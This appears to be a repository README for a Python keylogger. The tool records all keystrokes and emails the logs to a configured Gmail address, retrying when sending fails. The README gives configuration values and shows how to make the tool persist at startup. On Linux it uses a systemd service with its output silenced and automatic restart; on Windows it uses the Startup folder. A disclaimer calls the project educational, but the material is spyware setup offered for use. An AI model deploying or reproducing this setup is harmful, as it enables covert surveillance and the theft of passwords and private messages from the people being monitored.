This repository contains a Python-based keylogger script that logs keystrokes and sends them via email. It includes robust error handling, log management, and retry mechanisms for email delivery.
- Keystroke Logging: Captures all keystrokes, including special keys like
Enter,Backspace, andSpace. - Email Notification: Sends the logged keystrokes to a specified email address.
- Retry Mechanism: Retries email sending up to 3 times in case of failures.
- Log Management: Clears logs after successfully sending them via email to prevent clutter.
- Graceful Exit: Stops logging and sends logs when the
Esckey is pressed. - Automatic Startup: Instructions included for setting up the script to run automatically at system startup (Linux and Windows).
- Python 3.x
- Required Python libraries:
pip install pynput
- A Gmail account with app-specific password (if 2-Step Verification is enabled). Refer to the Google App Passwords Guide to create one.
Update the following variables in the script with your email credentials:
EMAIL_ADDRESS = 'your-email@gmail.com'
EMAIL_PASSWORD = 'your-app-password'
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587Run the script in your terminal:
python3 keylogger.pyPress the Esc key to stop the keylogger. This will also send the collected logs to the configured email address and clear the log file.
-
Create a systemd service file:
sudo nano /etc/systemd/system/keylogger.service
-
Add the following content:
[Unit] Description=Keylogger Script After=multi-user.target [Service] ExecStart=/usr/bin/python3 /path/to/keylogger.py WorkingDirectory=/path/to StandardOutput=null StandardError=null Restart=always [Install] WantedBy=multi-user.target
Replace
/path/to/keylogger.pywith the full path to your script. -
Reload systemd and enable the service:
sudo systemctl daemon-reload sudo systemctl enable keylogger.service sudo systemctl start keylogger.service -
Verify the service is running:
sudo systemctl status keylogger.service
- Press
Win + Rand typeshell:startup, then press Enter. - Create a shortcut in the Startup folder with the following target:
C:\Python39\python.exe C:\path\to\keylogger.py - The script will run automatically on login.
This script is for educational purposes only. Unauthorized use of keyloggers is illegal and unethical. Use it responsibly and only on systems where you have explicit permission.
The author is not responsible for any misuse of this script. Always use it in compliance with applicable laws and regulations.
